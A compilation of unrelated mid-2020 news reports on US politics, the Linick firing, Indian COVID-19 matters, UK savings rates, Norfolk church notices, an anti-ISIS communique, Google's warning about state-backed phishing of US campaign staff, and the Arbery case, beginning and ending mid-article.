Other more well-known apps like Tinder, Bumble and Hinge already have this feature, as well as others that allow users to explore potential matches by temporarily changing your location through things like Tinder Passport and Bumble Travel (both paid features), or through Bumble Distance, where you can currently swipe for partners for free, nationally. All apps have reported a drastic increase in in-app video calls and show users swiping in different cities, so nows your chance to woo someone in Nashville or Calgary, while not having to leave your home in Toronto.
Fired State Department IG Testifies Pompeo Aide Tried to 'Bully' Him to End Probe of Saudi Arms Deal

Sputnik News

15:26 GMT 04.06.2020

Democrats are investigating the ouster of Steve Linick last month, which they suspect could be motivated by political reasons. Linick now confirms he was looking into Pompeo for potential abuse of office. The secretary of state denies that his decision to fire Linick was payback for the investigations he was conducting.

Steve Linick, the now-former State Department inspector general, has testified that he was investigating the Trump administration's $8 billion arms sale to Saudi Arabia and allegations of staff misuse by Secretary of State Mike Pompeo when he was dismissed at Pompeo's recommendation last month.

"Mr. Linick confirmed that at the time he was removed as IG, his office was looking into two matters that directly touched on Secretary Pompeo's conduct and that senior State Department officials were aware of his investigations," five Democrats sitting on several Senate and House committees said in a joint statement on Wednesday.

Linick, who took over the office under President Obama in 2013, was fired by Donald Trump on 15 May based on advice from Pompeo. Trump said that he had lost confidence in the inspector general and replaced him with Director of the Office of Foreign Missions Stephen Akard in an acting capacity. Democrats have interviewed Linick behind closed doors as part of an investigation into his firing.

The first probe overseen by Linick regarded allegations that Pompeo had made staffers run personal errands, including walking his dog and picking up his dry cleaning. Linick told Democrats that he had personally discussed that probe with Pompeo's old friend, Undersecretary of State for Management Brian Bulatao, so that State Department leadership "would not be surprised."

Pompeo's reasoning for firing Linick was that he "wasn't performing a function in a way that we had tried to get him to." The secretary of state denied that the firing was an act of retribution because he allegedly wasn't aware of that investigation.

He did acknowledge, however, that he was aware of a separate probe by the inspector general into a mid-2019 emergency declaration, which allowed him to sell roughly $8 billion in weapons to Saudi Arabia and other countries, bypassing congressional approval. However, Pompeo maintained, he didn't know the scope of that second probe. He denied wrongdoing in both cases.

According to the Democrats' statement, Linick also testified that "Mr. Bulatao and Marik Stringwho was made acting State Department Legal Adviser on the day of the 'emergency' declaration and whose testimony the committees have also sought in this investigationargued that his office should not pursue the investigation."

Linick testified that Pompeo had provided written answers in response to questions from his office, but did not respond to a request to be interviewed in person.

Bulatao hinted to the Democrat-controlled House foreign affairs committee that another reason for firing Linick was increased "concern" that his office was leaking to the media the details of the Saudi deal investigation. Linick contradicted that statement, telling lawmakers that an internal review by the Department of Defence Inspector General cleared his office of any unauthorised leaks and that he discussed the matter with Bulatao.

Linick also claimed that Bulatao attempted to "bully" him on several occasions, including by telling him that the investigation into arms sales to Saudi Arabia was not up to his office. He also claimed that Bulatao was hoping to oversee the independent investigation into allegations of disclosures to the media.

"We still have many unanswered questions, and today's testimony makes it all the more critical that the Administration immediately comply with outstanding requests for additional witness interviews and documents," the Democrats said in the statement.

Democrats plan to speak with around half a dozen State Department officials who may have been involved in or had been familiar with discussions leading up to Linick's ouster. The State Department is yet to comment on the new revelations.

 Sputnik

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If COPA or Internal Affairs decide the officers violated Police Department policies, they will forward their investigative findings to Brown. From there, the Superintendent has 90 days to review the findings. If he agrees with them, he will work with the citys Law Department to prepare disciplinary charges against the officers, and those charges will be forwarded to the Police Board along with a recommended punishment. The Police Board only hears cases when the proposed penalty ranges from a 31-day suspension to firing.
Chennai, June 5 : Oil refinery Chennai Petroleum Corporation Ltd (CPCL) on Friday said that the Covid-19 lockdown had led to crash in crude prices in the international markets and forced it to write down an inventory of Rs 1,456 crore.

In a regulatory filing, CPCL, which is part of Indian Oil Corporation group, said the lower demand for crude oil and petroleum products had impacted the prices and refining margins of the company.

"Due to the above reasons, our finished goods, intermediates and raw material inventory have been valued at net realizable value/replacement costs as on March 31. This has resulted in significant inventory write down of Rs 1,456 crore," CPCL said.

According to CPCL, it has scaled down its operations at around 60 per cent and the demand for the products is expected to improve over the next few weeks/months as more and more sectors of the economy are opened up.

"The lower demand and resultant inventory build-up has led to increase in short-term borrowings, which is expected to get normalised based on turnaround in demand situation and stabilisation of international prices of crude and products," CPCL said.

The company does not expect any significant Covid-19 impact on the continuity of operations on a long-term basis though there may be lower revenues and refinery throughput in the near term, CPCL said.

On Friday the CPCL stock opened at Rs 58.90 and closed at Rs 62.95 on the BSE.
San Antonio Police Officers Association President Mike Helle plans to retire from the department and his long-held union leadership post early next year.

His announcement Thursday took some by surprise. Helle said his intent to leave when his term ends in January was no secret and that he thought City Manager Erik Walsh had been aware of it.

Mayor Ron Nirenberg, who was the target of a six-figure police union campaign opposing his re-election last year, had not heard of Helles plans and declined to comment.

Hes probably saying, Thank God, Helle said. I announced that I was retiring at our Christmas dance in December, and pretty much the entire Police Department knew.

John Davenport /San Antonio Express-News

First elected in 2008 and now in his fifth term as the union boss, Helle, 54, of San Antonio is the longest-serving SAPOA president since the organization was created in 1946.

He described himself as a very staunch defender for our brothers and sisters in the department and said it was absolutely false what he believed someone in City Hall told local news media: that he was leaving because of this weeks protests over the May 25 killing of George Floyd, an unarmed African-American, in Minneapolis police custody.

Floyds death and the nationwide reaction have prompted scrutiny of police attitudes and practices. Helle has long been a zealous defender of due process protections for officers accused of misconduct.

On ExpressNews.com: Meet one of the most powerful men in blue

Last year, both the citys police and fire unions backed Nirenbergs opponent in the mayoral election, then-City Councilman Greg Brockhouse.

When Brockhouse lagged the mayor in fundraising, the police and fire unions helped him close the divide and secure a place in a runoff election, which Nirenberg narrowly won. The police union, which wasnt allowed to contribute directly to Brockhouse, instead spent around $100,000 in an independent campaign, Helle said. The union also backed candidates in council races.

I know we won more than we lost, he said.

On ExpressNews.com: Brockhouse and Helle tried to trigger probe

Helle also became involved in a fracas with Police Chief William McManus after San Antonio police released a dozen undocumented immigrants whom they found in a tractor-trailer after charging the driver with smuggling them. The police union paid for billboards along freeways two years ago lambasting the chief.

One read, Violation of Sanctuary Cities Ban. WHY DID YOU DO IT, CHIEF?

Robin Jerstad /San Antonio Express-News

So McManus interjected himself into a criminal situation and basically released 12 illegal immigrants, in my professional opinion illegally, right? And so I brought the matter to the mayor and council and the city manager at the time, who was Sheryl Sculley, Helle recalled Thursday.

And then basically I got blown off, that he didnt do anything wrong and theyre not going to listen, he said.

Another incident that kept Helle in the headlines involved his daughter-in-law, Kourtney Helle, who was sentenced in late 2019 to four years probation for failing to stop and render aid after causing a traffic collision moments after leaving a bar in November 2017.

Two teenagers were injured in the accident. Kourtney Helle drove to a nearby apartment complex and called her husband, Officer John Helle, who was off-duty at the time and who went to the scene. Police allowed Kourtney Helle to leave that night without undergoing a field sobriety test.

Kourtney Helle told police that she drank one vodka-water with a lime at the Cross-Eyed Seagull. A police report said she showed no signs of intoxication.

The episode sparked internal police investigations. Bexar County District Attorney Joe Gonzales later was critical of officers, saying, there certainly could have been a more thorough investigation conducted at the scene.

The case languished under former District Attorney Nico LaHood until prosecutors under Gonzales, who took office in January 2019, learned of it.

TOM REEL /SAN ANTONIO EXPRESS-NEWS

No matter what it looks like, I wasnt even involved in that, nor did I poke my nose into that and my son didnt do anything wrong, either, Helle recalled, noting that police repeatedly interviewed his daughter-in-law inside a car and didnt smell alcohol. If they did, then they would have proceeded as if she was intoxicated, but they did not.

I dont care what other people think what it may or may not look like. There wasnt anything nefarious about it.

On ExpressNews.com: Daughter-in-law of union president: I should have called 911 first

Helle started his police career as a patrolman on the West Side in 1989. In 2004, he was promoted to the evidence unit. He moved to the traffic investigation division within a few months and later worked in the repeat offenders program.

That is technically where Helle is assigned today, but he works full time as union president, a job that pays an additional $500 a month. As a detective investigator, his current rank, Helle said he earns between $85,000 and $96,000 a year.

Hell leave the force, and the spotlight, after 31 years.

The media wont have Mike Helle to kick around anymore, he laughed.

Sig Christenson covers the military and its impact in the San Antonio and Bexar County area. To read more from Sig, become a subscriber. sigc@express-news.net | Twitter: @saddamscribe
The Supreme Court on Friday asked private hospitals whether they are ready to provide treatment to COVID-19 infected patients at the charges prescribed under the government's Ayushman Bharat Scheme.

The 'Ayushman Bharat  Pradhan Mantri Jan Arogya Yojana' is aimed at providing health cover to poor and vulnerable persons in the country.

A bench headed by Chief Justice S A Bobde observed that the apex court is not asking all the private hospitals to treat certain number of COVID-19 patients for free.

The bench, also comprising Justices A S Bopanna and Hrishikesh Roy, said it is asking only those private hospitals, which have been given land at concessional rates by the government, to treat certain number of coronavirus infected patients for free.

"I just want to know if hospitals are ready to charge at Ayushman rates," the CJI observed during the hearing which was conducted through video-conferencing.

Solicitor General Tushar Mehta, appearing for the Centre, told the bench that government is doing its best for the lowest strata of society, and people who cannot afford treatment are covered under the Ayushman Bharat scheme.

The top court, which posted the matter for two weeks from now, was hearing a plea which has sought a direction for regulating the cost of treatment of COVID-19 at private hospitals across the country.

During the arguments, the bench observed that there is an earlier judgment which said that hospitals, which have been given land on concessional rates, should treat certain number of patients for free.

"Why cannot these hospitals treat a certain number of patients for free", the bench observed, adding, "Please ensure they do some service".

Senior advocate Harish Salve, appearing for a healthcare federation which has filed intervention application in the matter, said that hospitals which have received land on concessional rates are already complying with the requirements.

Senior advocate Mukul Rohatgi, who appeared for an association of hospitals which has also sought to intervene in the matter, said that they are already complying with all the directions passed in the verdict, which was referred by the bench.

Advocate Sachin Jain, who has filed the petition, told the bench that rates prescribed under the Ayushmann Bharat scheme should be made applicable to the hospitals.

"The Union of India should stand with the citizens and not with corporate hospitals," Jain said.

"Is it your case that no hospital should make profit during this period?," the bench asked the petitioner.

Jain told the bench that he can show how Ayushmann Bharat scheme has been decided keeping in view the profitability of hospitals.

Salve told the bench that Ayushman Bharat is a heavily discounted scheme and revenue of private hospitals has already gone down by around 60 per cent as footfall has decreased during the period of COVID-19.

Rohatgi argued that no hospital is making any profit during this period.

"That is alright. You are making a sacrifice for a good cause," the bench observed.

The advocates appearing for the hospital bodies said they would file their responses on the plea and also on issue raised in the matter.

Meanwhile, the Centre has filed an affidavit in the matter and said that there is no provision under the Clinical Establishments (Registration and Regulation) Act, 2010 "whereby it is mandated that the private hospitals running on the public land shall treat COVID-19 patients on free basis".

"It is again reiterated that such policies may only be defined and implemented by the respective state governments," it said.

The Centre further said that at present, private hospitals including charitable institutions are governed by the provisions of Clinical Establishments Act 2010.

"It is submitted that apart from the said Act there is no separate provision or any other statutory provision which gives power to the Union of India to pass directions of the nature sought in the present petition to the charitable Institutions," it said.

The affidavit said, "It is therefore submitted that the Central Government, within its statutory powers or powers of delegated legislation, cannot make this particular bifurcation for the lack of a requisite statutory framework for the said classification".

It said that entire health infrastructure has been brought to most appropriate use for treatment of COVID-19 in the country and the Centre has taken several measures to strengthen public health facilities where medical care is provided free of cost to all patients.

"The care cost in the private sector is not regulated by the Central Government," the affidavit said.

The top court had on May 27 asked the Centre to identify private hospitals where COVID-19 infected patients could get treatment for free or at a nominal cost.
Community Chaplaincy Norfolk (CCN) is seeking more volunteer mentors as it continues to provide a Both Sides of the Gate support service to people leaving prison in Norfolk.

Community Chaplaincy Norfolk (CCN) is seeking more volunteer mentors as it continues to provide a Both Sides of the Gate support service to people leaving prison in Norfolk.

New chief executive for Aylsham Care Trust Philip Macdonald has been appointed chief executive of the Aylsham and District Care Trust (ACT) which has been providing care and support for older people in the community for over thirty five years. Read more

Pandemic drove Norfolk church community online New figures show that across the height of the pandemic lockdowns in 2020, churches across the Diocese of Norwich saw their in-person congregations halve but they retained 94% of their worshippers with the help of online and church-at-home services. Read more

Why we need the water of life Regular columnist James Knight explains why water is so important in our lives, especially the spiritual variety. Read more

Norwich church needs Outreach Weekend Cafe Manager St Stephens Church is seeking an Outreach Weekend Cafe Manager to become part of its successful and dynamic Cafe team, serving the community and city. Read more

Trustee treasurer role at King's Lynn foodbank Kings Lynn Foodbank are urgently seeking a new Trustee Treasurer to work with a fun, friendly, team who are all passionate about combating food poverty in Kings Lynn. Read more

Christian pregnancy charity gets Yarmouth hub TimeNorfolk, the Christian pregnancy loss charity, has opened a space dedicated to counselling for bereaved parents in Great Yarmouth. Read more

Family days at Norwich Cathedral The schools and families learning department at Norwich Cathedral are holding two sessions  morning and afternoon for a Family Activity Day at the Cathedral on Wednesday February 16. Read more

Churches prepare Queen's Platinum Jubilee plans Churches, Christian charities and youth organisations are working together to celebrate the Queens Platinum Jubilee over the four-day Bank Holiday from June 2-5 and a new website has been created to celebrate the Queen's 70 years of faith and service. Read more

Eckling Grange cares for the elderly Despite some bad press, there are some Care Homes where 'Care' really does mean 'what it says on the tin', and a star example of this is the Norfolk Christian residential care home, Eckling Grange, at Dereham. Read more

New Commission to look at use of Norfolk churches A new Church Buildings Commission has been launched with the purpose of looking at the church buildings across Norfolk and Waveney in terms of their use and sustainability. Read more

Norfolk link to teaching opportunity with TCKs A Norfolk couple working in Asia have been helped by teachers of Third Culture Kids, and a programme is now inviting more people to get involved with it. Read more

Norfolk charity seeks mentors for prison leavers Community Chaplaincy Norfolk (CCN) continues to provide a Both Sides of the Gate Mentor support service to people leaving prison in Norfolk. Read more

Prayer and Worship week for Sheringham church Lighthouse Community Church in Sheringham has launched a Prayer and Worship week as they seek Gods guidance for 2022 Read more

South Norfolk church schools are set to merge The Diocese of Norwich St Benets Multi Academy Trust has been given the green light to amalgamate Harleston CE Primary Academy and Archbishop Sancroft High School into one All Through School. Read more

Norwich conference looks at how to tackle spiritual abuse Following a series of revelations about high-profile Christian leaders, a group of Norfolk churches is organising a conference to look at spiritual abuse and godly leadership. Read more

Revelation vacancy for Centre Manager The Revelation Christian Resource Centre and Cafe is seeking to appoint a Centre Manager. Read more

Gardening morning at N Norfolk Christian centre The Pleasaunce Holiday Centre in Overstrand is holding a work-party morning on Saturday February 5 and would like as many people as possible to join in to help get the gardens ship-shape. Read more
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Joint Communique by Ministers of the Global Coalition to Defeat ISIS Small Group

Media Note

Office of the Spokesperson

June 4, 2020



Begin text:

At the invitation of Italian Minister of Foreign Affairs Luigi Di Maio and U.S. Secretary of State Michael R. Pompeo, the Foreign Ministers of the Global Coalition to Defeat Daesh/ISIS Small Group met virtually today to reaffirm our shared determination to continue the fight against Daesh/ISIS in Iraq and Syria, and to create conditions for an enduring defeat of the terrorist group, which remains the Coalition's sole purpose, through a comprehensive, multifaceted effort. The Ministers emphasized the protection of civilians and affirmed that international law, including international humanitarian law and the protection of civilians and international human rights law, as well as relevant UN Security Council resolutions, must be upheld under all circumstances. The Ministers, recalling their statement of February 6, 2019, committed to strengthen cooperation across all Coalition lines of effort in order to ensure that Daesh/ISIS and its affiliates are unable to reconstitute any territorial enclave or continue to threaten our homelands, people, and interests. Together we remain firmly united in our outrage at Daesh/ISIS's atrocities and in our determination to eliminate this global threat.

The Ministers appreciate deeply the address to the Coalition on the fight against Daesh/ISIS in Iraq presented by Prime Minister Kadhimi, thank him for his support for the Coalition, and acknowledge with deepest respect the extraordinary efforts and huge sacrifices made by Iraq against Daesh/ISIS.

While Daesh/ISIS no longer controls territory and nearly eight million people have been freed from its control in Iraq and Syria, the threat remains and thus calls for stronger vigilance and coordinated action. This includes allocating adequate resources to sustain Coalition and legitimate partner forces' efforts against Daesh/ISIS in Iraq and Syria, including stabilization support to liberated areas, to safeguard our collective security interests. We welcome the establishment of a new government in Baghdad, and look forward to engaging in a fruitful dialogue with the Government of Iraq on our joint endeavor to maintain pressure on Daesh/ISIS. The Coalition operates in Iraq at the request of the Government of Iraq, in full respect of Iraq's sovereignty and aiming at strengthening its security. We will continue our close cooperation with and support to the Government of Iraq on appropriate measures to adapt the operational efficiency and coordination of our collective efforts to defeat Daesh/ISIS. We welcome the decision of the April 2 NATO Ministerial regarding the role of NATO Mission Iraq. While the COVID-19 crisis has had an impact on the Coalition's activities and operations, the Ministers committed to continue working with our partner forces to mitigate the impacts of the pandemic while supporting efforts to further dismantle Daesh/ISIS.

In Syria, the Coalition stands with the Syrian people in support of a lasting political settlement in accordance with UN Security Council Resolution 2254. The Coalition must continue to be vigilant against the threat of terrorism, in all its forms and manifestations, to build on the success it has achieved and continue to act together against any threats to this outcome to avoid security vacuums that Daesh/ISIS may exploit.

The Ministers also noted with concern the emerging threat posed by Daesh/ISIS affiliates and branches worldwide, in particular in West Africa and the Sahel. The Coalition reaffirmed its plans for a meeting focused on capacity building in West Africa and the Sahel that would fully respect international law, be upon the request and prior consent of the countries concerned, and be coordinated with existing efforts and initiatives, including the Coalition for the Sahel.

The Ministers agreed on the urgent need to pursue information sharing on known members of Daesh/ISIS affiliates, including via multilateral law enforcement channels like INTERPOL, and particularly for border security purposes and increasing strategic communications.

The Ministers, recognizing the challenge posed by foreign terrorist fighters who are in custody as well as family members who remain in Syria and Iraq, commit to pursue existing effective accountability mechanisms in close coordination with the countries of origin, including accountability for fighters who have used sexual violence as an instrument of terror.

The Ministers remain committed to promoting efforts to ensure that accused terrorists, including those of foreign nationality, are treated appropriately and tried consistent with their international law obligations, including fair trial guarantees, and we urge the custodians of the detained Daesh/ISIS fighters to continue to treat them humanely at all times, in accordance with international law. The Ministers further recognized that the situation for Daesh/ISIS detainees and family members in northeast Syria is of grave concern and recognized the importance of finding a comprehensive approach to this serious problem.

The Coalition reaffirmed its belief that this comprehensive effort is necessary to achieve a full and enduring defeat of Daesh/ISIS worldwide. The Global Coalition to Defeat Daesh/ISIS has proven that it is a cohesive, adaptable vehicle that has sustained this important endeavor through stabilization, political, military and law enforcement lines of effort. The Ministers also confirmed their intent to hold the next full ministerial meeting of the Global Coalition in Italy as soon as circumstances permit.

Text Ends

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Goldman Sachs-backed Marcus Bank has brought back its one-year fixed-rate deal, but the account now pays a lower rate than its easy-access deal.

The bank launched a 12-month bond paying 1.45 per cent towards the end of March, expanding its offering beyond its sole easy-access account which at the time was paying 1.3 per cent.

It pulled the account from sale on 7 May and has now relaunched it a month later.

Goldman Sachs-backed Marcus has again offered savers an alternative to its easy-access account, but its one-year fix now pays less

But in a sign of how savings rates continue to fall as banks cut rates in response to the coronavirus, the new one-year fixed-rate now pays 1 per cent and its easy-access account 1.05 per cent.

The fact Goldman Sachs - which has taken in more 17billion from savers since it launched a 1.5 per cent easy-access account in September 2018 - is currently paying savers less to lock their money away for longer may raise fears it is planning to cut its easy-access rate once again to rebalance its offer.

Since the Bank of England cut its base rate to a historic low of 0.1 per cent in mid-March, the rate on the account has fallen from 1.3 per cent to 1.05 per cent, a difference of 25 interest on 10,000 of savings.

Marcus currently pays 1.05 per cent alongside RCI Bank, but the number of easy-access deals paying more than 1 per cent has thinned out after a raft of recent cuts.

Family Building Society, Virgin Money and Kent Reliance on Thursday cut their easy-access rates from 1.06 per cent, 1.01 per cent and 1 per cent to 0.61 per cent, 0.75 per cent and 0.7 per cent respectively.

It follows Aldermore Bank and Shawbrook Bank cutting easy-access rates over the Bank Holiday weekend a week ago from 1 per cent to 0.8 per cent and 0.75 per cent, respectively.

Those five cuts mean there are just five accounts paying 1 per cent or more, with Goldman Sachs offering two of them in the form of Marcus and Saga, whose savings accounts are provided by the Wall Street giant.

The fourth of those is Family Building Society's market tracker saver, an account which tracks the Bank of England base rate and will be heavily slashed next month.

Marcus removed its one-year fixed-rate paying 1.45% from sale on 7 May. It has now brought it back a month later, at a much lower rate

The last account paying 1 per cent is offered by Treasury-backed National Savings & Investments.

James Blower, industry expert and founder of The Savings Guru, said: 'The move by Marcus certainly tells a story about where their pricing is heading by the fact that their one-year rate is lower than their easy-access rate.

Virgin, RCI and Marcus have been pretty much the front three in easy access for some time now. Virgin has been first mover in that group and, when its moved, the others have followed quickly. James Blower, The Savings Guru

'The presence of NS&I will mean the 1 per cent headline rate will hold in easy-access and that it may be enough for Marcus and RCI to stay at their current levels.

'I think it's more likely that they will follow Virgin's lead and cut, though I suspect we will be looking at an adjustment downwards of 0.05 - 0.1 percentage points from them, rather than the 0.26 percentage points that Virgin went for.'

Before savings rates really began to freefall, households stashed an extra 16.5billion in easy-access accounts between January and March this year, according to trade body UK Finance.

The Bank of England has also found households have been saving more since the coronavirus hit and Britain went into lockdown, with households stashing away an extra 16.2billion in April, more than three times the average put away each month.

While savings experts fear easy-access rates could fall below 1 per cent, the relaunching of Marcus' one-year fixed-rate at 1 per cent may prove an accurate prediction of where those rates end up.

How savings rates have collapsed in the face of coronavirus Date Average easy-access rate Average one-year fixed-rate 11 March 2020 0.6% 1.15% 13 April 2020 0.5% 1.05% 1 June 2020 0.3% 0.92% Source: Moneyfacts.co.uk

When it launched at the end of March, the 1.45 per cent rate was not a best buy, with short-term fixed-rate deals paying 1.55 per cent at the time.

However, they have fallen drastically since then, with the best one-year fixed-rate paying 1.25 per cent now.

Over the Bank Holiday the last remaining accounts paying more than 1.3 per cent were slashed, while Atom Bank cut its one-year fix paying 1.3 per cent to 1.15 per cent this week.

The size of Marcus means that if it sticks around it may cushion one-year fixed-rates from falling much further, but it may be unlikely to stop best buy rates from sliding, unless the economy begins to recover and banks need to raise more money from savers again.

How savers kept cash on hand as the coronavirus struck Month Amount held in easy-access accounts Amount held in notice and fixed-rate accounts January 2020 670.6bn 193.9bn February 2020 676.5bn 193.1bn March 2020 687.1bn 193.06bn Source: UK Finance

James adds: 'We've seen Atom and Hodge Bank move and I expect Ikano to follow and headline one-year rates to drop in to the range of 1.20 - 1.25 per cent with the following pack in the range of 1.05 - 1.15 per cent.

'I think Marcus are positioning themselves to be just outside the top 10 pricing.'

The average one-year fixed-rate bond fell from 1.15 per cent to 0.92 per cent between 11 March, the day the Bank of England cut its base rate from 0.75 per cent to 0.25 per cent, and the start of June, according to Moneyfacts.

The number of available short-term fixed-rate deals has fallen from 104 to 81 over the same period.

Moneyfacts' Rachel Springall said: 'It's clear to see that savers can feel the force of cuts three months on from a significant event, so if savers haven't already, they are more likely than not to see cuts in the weeks to come.

'This expectation should jolt savers in action, so we could well see a summer of switching.

'The average return on easy access accounts, which are a firm favourite for savers, has fallen to a record low of 0.30 per cent and, as it stands, the average rate offered on one-year fixed bonds is heading to a record low as well.

'This means savers putting money away in the short-term will need to act quickly to take advantage of the most lucrative rates.'
A group of researchers from premier scientific institutions in the country have developed a web tool that can project the requirement of medical inventory such as ICUs, PPE kits, ventilators doctors and body bags, in the weeks to come.

As per developers, the district-wise mathematical projections are meant to help plan for a worst-case scenario.

The portal, launched on April 21, has been developed by researchers from the Indian Institute of Technology Bombay (IIT-B), Jawaharlal Nehru Centre For Advanced Scientific Research, Indian Institute of Science (IISc) Bangalore and Armed Forces Medical College in Pune. The project was facilitated by the office of the principal scientific advisor to the Union government.

The portal is available at https://covid19medinventory.in. One can choose the state and district to view the projections for the requirement of medical inventory for four weeks. The projections include the number of ICUs needed, Covid-19 mortality rate, 10-bed dedicated Covid-19 hospitals, doctors, nurses and paramedics, ventilators, infusion pumps, full Personal Protective Equipment (PPEs) kits for frontline and supporting staff and body bags. For example, the model predicts that Mumbai city will require 590 doctors and 520 ventilators in the week starting June 17.

We have used a statistical model to make the projections based on the data available in the patient database from covid19india.org, which is a crowd-sourced (sanitised and self-correcting) public database of reported Covid-19 positive cases in the country, said P Sunthar, professor at the chemical engineering department at IIT-B. The web tool will help government agencies to prepare in advance. Micro, Small and Medium Enterprises (MSMEs) and other industries working in the production and supply chain of essentials, too, may use these projections to support their local government administration.

States such as Punjab, Andhra Pradesh and Delhi have used these projections to prepare for the weeks ahead, said sources.
Chennai: Actor-turned-politician Kamal Haasan alleged that there was a contrast in the COVID-19 data being shared by the Tamil Nadu government while interacting with journalists through a video conference. The actor, however, refused to take questions pertaining to his allegations, possible testing strategies, or his Naame Theervu (We are the solution) initiative that is aimed at changing Chennai into a green Zone from its current Red Zone status.

In a video message, he said that there was no use in plate banging when migrant workers were starving to death and frontline COVID-19 fighters such as medical staff and police are battling it out. This is not the time for criticism or petty politics. We need strong and measured actions, Chennai is our healthcare capital, dont let it become a Corona capital, he said.

The Naame Theervu (we are the solution) campaign launched by him calls forth an army of volunteers (irrespective of their differences and political affiliation) to join in for activities ranging from donating to delivering relief materials to the needy. The actor himself was the first to register for his campaign via a phone call to 6369811111.

A statement from his party, Makkal Needhi Maiam (MNM), says that When each fo us saves one person, no one will be left behind. People are the solution to those who need medical assistance, safety equipment, sanitizers, food, and rations. Sanitiser dispensers will be kept at places where people gather frequently, masks will be distributed as well. We need the participation and contribution of volunteers to take this forward.

Haasan further said that some states such as Kerala, Karnataka, and Odisha had seen partial victory in the battle against Coronavirus while accepting that it seems like it (Corona wave) would keep recurring. No government could fight corona alone and emphasized the need for people and volunteers to pitch in.

Adding that he was not saying this for political mileage, the actor said, There is no transparency in what they(State government) are saying, we are not able to clearly see the numbers. The numbers shared by the government and the numbers on the street are contrasting. We are concerned about the Chennai situation and doing our best about it.

Neither the actor nor his team responded to journalists' questions on whether this campaign would be extended to Chennais neighboring districts (Tiruvallur, Kanchipuram, Chengalpattu) which are also badly affected with COVID-19 cases.

When questioned about comparing the Covid-19 situation in Tamil Nadu and Kerala (a relatively smaller state with lesser population and population density), there was no response.

Kamal Haasan also did not respond to the question if he had discussed with his panel of medical experts regarding the possibility of pooled testing and suggested any strategy in this regard to the government. The video conference was ended stating a paucity of time.
Representative image

Director General of Council for Scientific and Industrial Research (CSIR), Shekhar Mande, welcomed the World Health Organization's decision to resume anti-malaria drug hydroxychloroquine (HCQ) trial on COVID-19 patients.

Mande also said the decision to halt the hydroxychloroquine trial was take taken in haste and that WHO should have analysed the data before making the decision.

"I firmly believe that the WHO took the decision in haste. It was kind of a knee-jerk reaction and they should have actually analysed the data on their own before temporarily suspending the trials," Mande said.

"The WHO made the decision based on a study published in Lancet. The authors have themselves acknowledged severe limitations in their study," Mande told Times of India.

Also read: WHO's decision to resume HCQ clinical trial a step in right direction, say experts

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

Mande, along with two leading Indian scientists  Anurag Agarwal of Delhi-based Institute of IGenomics and Integrative Biology (IGIB) and Rajeeva Karandikar of Chennai Mathematical Institute (CMI)  had questioned WHO's decision to suspend HCQ trials.



Last week the #COVID19 Solidarity Trial Executive Group implemented a temporary pause of the hydroxychloroquine arm of the trial, because of concerns about the safety of the drug. This decision was taken as a precaution while the safety data were reviewed.https://t.co/3mGO6fT41d

 Tedros Adhanom Ghebreyesus (@DrTedros) June 3, 2020

Announcing resumption of HCQ trials, Director General of WHO, Dr Tedros Adhanom Ghebreyesus, on Wednesday tweeted, "Based on available data, the COVID-19 Solidarity Trial Data Safety & Monitoring Committee recommended there are no reasons to modify the trial protocol. The Executive Group endorsed the continuation of all arms of the Trial, including the use of hydroxychloroquine."
According to Googles Shane Huntley, advanced persistent threat (APT) groups out of China and Iran attempted to hack staff from US political campaigns. Thats based on recent reports citing the threat analysis director  who tweeted out about the attempt earlier this week. According to the tweet, the Google-run threat analysis group recently saw the activity and reported it to the appropriate authorities.

Every indication seems to suggest that no accounts or information has been compromised at this time. But the threat of the attack should nonetheless be taken seriously. APTs are typically nation-state or state-sponsored groups.

In terms of the specifics of the attempted attack, Mr. Huntley says that Chinese APT targetted the staff of US presidential hopeful Joe Biden. The Iranian APT, conversely, targetted the campaign of current US president, Donald Trump. In both cases, phishing was the chosen approach.

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The Google director says that the groups are respectively known as APT31 and APT35.

Google is offering advice to address the issue

Mr. Huntley is taking the opportunity to offer up some advice for protecting accounts too. While this applies not solely to campaign staff, the director warns that personal accounts of staff members may be targetted. The best protection to use, he indicates, are two-factor authentication and Advanced Protection

At least one of those methods may, however, not be as effective as the others. At least not on its own.

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In late 2019, the Chinese APT hacker group APT20 was discovered to be bypassing two-factor authentication. It was able to accomplish that by first attacking web servers. Then, it utilized an RSA SecurID software token that it stole from a hacked system.

Summarily, APT20 modified the key and imported the SecurID Token Seed. That allowed it to return and gain access to valid tokens, which were then used to generate and steal system-specific keys.

As noted above, that attack was carried out by a different APT but, like the most recent attempts, that originated out of China. Since APTs have a tendency to be government-sponsored, there is a chance that similar methods might be used again to bypass two-factor authentication.

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Now, Mr. Huntley also reiterated that Google is offering its Titan Security Keys to personnel working campaigns. So means that anybody working the campaigns will want to look into getting one. While also imperfect, the security keys offer a more localized, more secure method of authentication.

These attacks werent successful but future attacks could be

As noted above, the attempted hack on the campaigns has been confirmed to originate in Iran and China, respectively but there are still some details that arent clear. For instance, its not immediately apparent whether the attacks were connected.

While these attempts werent successful, the groups will not necessarily be dissuaded from making another attempt. Other groups may also try to interfere. So implementing multiple layers of additional security, including those mentioned here, will arguably be the safest bet in terms of tech-related protections.

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Travis McMichael, Gregory McMichael, and William R. Bryan face criminal charges for the shooting death of Ahmaud Arbery in Georgia on February 23, 2020.

Glynn County Sheriffs Office/Handout via Reuters

Three white men will stand trial in the February shooting death of Ahmaud Arbery, a 25-year-old black man, in Brunswick, Georgia, a judge ruled on Thursday.

Gregory McMichael, 64, and his son, Travis McMichael, 34, face felony murder and aggravated assault charges. The younger McMichael pulled the trigger during an altercation with Arbery.

